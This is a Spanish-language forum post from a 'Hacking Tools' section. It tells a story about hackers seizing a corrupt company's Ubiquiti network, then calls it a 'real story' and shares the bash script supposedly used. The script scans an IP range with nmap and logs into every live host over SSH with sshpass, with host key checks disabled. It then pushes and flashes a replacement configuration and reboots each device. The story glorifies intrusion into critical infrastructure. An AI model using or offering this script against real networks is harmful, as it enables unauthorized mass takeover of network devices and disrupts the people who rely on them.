"DivinusNet: La Red Infiltrada"

Publicado el 22/05/2023 12:05:00 en Hacking Tools.
Author: [x][x] p0mb3r0 | Total de votos: 4   Vote



"En un mundo dominado por la tecnología, un grupo de hackers conocidos como "DivinusNet" se embarca en una peligrosa misión. Su objetivo es infiltrarse en una red de infraestructura crítica controlada por una organización corrupta llamada "CyberCorp". La red incluye una serie de dispositivos de red Ubiquiti que controlan importantes sistemas de comunicación.

El líder de "DivinusNet", un hábil hacker conocido como "p0mb3r0", se encuentra frente a su computadora con su equipo de confianza. Han desarrollado una herramienta personalizada llamada "UbiUpLoad 1.0 Nano Station" para facilitar la infiltración y el control de los dispositivos Ubiquiti.

p0mb3r0 inicia el script en su terminal y se le solicita ingresar un rango de IP. Utilizando sus habilidades de ingeniería social, p0mb3r0 logra obtener información privilegiada sobre la red de CyberCorp y selecciona cuidadosamente el rango de IP correcto. El script utiliza la herramienta NMAP para escanear la red en busca de dispositivos Ubiquiti activos.

Una vez que el escaneo ha finalizado, el script muestra el número de dispositivos Ubiquiti encontrados. p0mb3r0 se da cuenta de que tiene la oportunidad de tomar el control de múltiples puntos de acceso en la red de CyberCorp.

El siguiente paso es ingresar la información de autenticación. p0mb3r0 ingresa un nombre de usuario, un puerto y una contraseña que ha obtenido a través de sus actividades de inteligencia cibernética. Está listo para comenzar la fase de ataque.

El script recorre cada una de las direcciones IP encontradas y utiliza la herramienta SSH para conectarse a los dispositivos Ubiquiti. p0mb3r0 utiliza sshpass para autenticarse automáticamente con la contraseña proporcionada. Una vez conectado a cada dispositivo, el script carga un archivo de configuración llamado "nuevo.cfg" en la ubicación adecuada y realiza una serie de comandos para actualizar la configuración del sistema.

A medida que p0mb3r0 observa la pantalla de su terminal, ve cómo los dispositivos Ubiquiti se reinician y aplican la nueva configuración. Poco a poco, los puntos de acceso de la red de CyberCorp están bajo el control de "DivinusNet".

Con el control de la red en sus manos, p0mb3r0 y su equipo aprovechan la oportunidad para exponer las actividades ilegales de CyberCorp. Revelan evidencias de corrupción y manipulación de datos a la opinión pública, desatando el caos en la organización.

La historia de "DivinusNet" y su uso del script "UbiUpLoad 1.0 Nano Station" se convierte en leyenda entre los hackers y en un recordatorio de que la tecnología puede ser una herramienta poderosa para desenmascarar la injusticia y luchar contra los abusos de poder".

"¡Espero que esta historia real haya sido emocionante!. Dejo el script utilizado.

#!/bin/bash

# Se comprueba en qué usuario se está ejecutando y borra el known_hosts de los SSH
borraSsh() {
    if [ "$USER" != 'root' ]; then
        rm "/home/$USER/.ssh/known_hosts"
    else
        rm "/root/.ssh/known_hosts"
    fi
}
borraSsh

clear
echo -e 'e[1;33m------------------------------------e[0m'
echo -e 'e[1;33m   UbiUpLoad 1.0 Nano Station ;-) e[0m'
echo -e 'e[1;33m------------------------------------e[0m'
echo ""
sleep 2

# Se ingresa el rango de IP para utilizarlo con NMAP
echo "Ingrese un Rango IP de 9 números ej: (100.110.120):"
read -p "--> Ingrese Rango: " IP
echo ""
echo "Aguarde Analizando rango IP..."
echo ""

# Busca IPs activas y las guarda en un archivo
nmap -sP ${IP}.* | grep -oiE '([0-9]{1,3}.){3}[0-9]{1,3}' | grep -v 255 > ips.txt
sed -i '1d' ips.txt
echo ""

# Cuenta y muestra en pantalla la cantidad de IPs encontradas
cuenta=$(grep -oiEc '([0-9]{1,3}.){3}[0-9]{1,3}' ips.txt)
echo -e "    Se encontraron, e[1;32m$cuentae[0m IPs para analizar"
echo ""
echo ""

# Usuario, contraseña y puerto para el SSHPASS
echo -e 'e[1;33m-------------------------------------------e[0m'
echo -e 'e[1;33m  Ingrese el Usuario, Puerto y Contraseña:e[0m'
echo -e 'e[1;33m-------------------------------------------e[0m'
echo ""
read -p "--> Usuario: " US
read -p "--> Puerto: " PU
echo "Escriba la Contraseña:"
echo -n
read PA

clear
echo ""
echo "Ingresando al Sistema!!!"
echo ""
sleep 2

# Variables para que lea el archivo de ips.txt
archivo='ips.txt'

# Ciclo while para leer línea por línea las IPs del archivo ips.txt
while IFS= read -r linea; do
    sshpass -p "${PA}" scp -P "${PU}" -o StrictHostKeyChecking=no nuevo.cfg "${US}@${linea}:/tmp/1.cfg"
    sshpass -p "${PA}" ssh -p "${PU}" -o StrictHostKeyChecking=no "${US}@${linea}" "cp /tmp/1.cfg /tmp/system.cfg && cfgmtd -f /tmp/system.cfg -w && reboot"
    echo ""
    # Borra la primera IP leída por el ciclo while
    sed -i '1d' ips.txt
done < "$archivo"

sleep 2
echo ""
echo "¡FINALIZADA SUBIDA DE ARCHIVOS DE CONFIGURACIÓN!"

Comments:


[x]
[x][x] MuldeR (9 d) : Está bien, el script sirve para los que estén aprendiendo bash, te la volaste con la historia jeje +1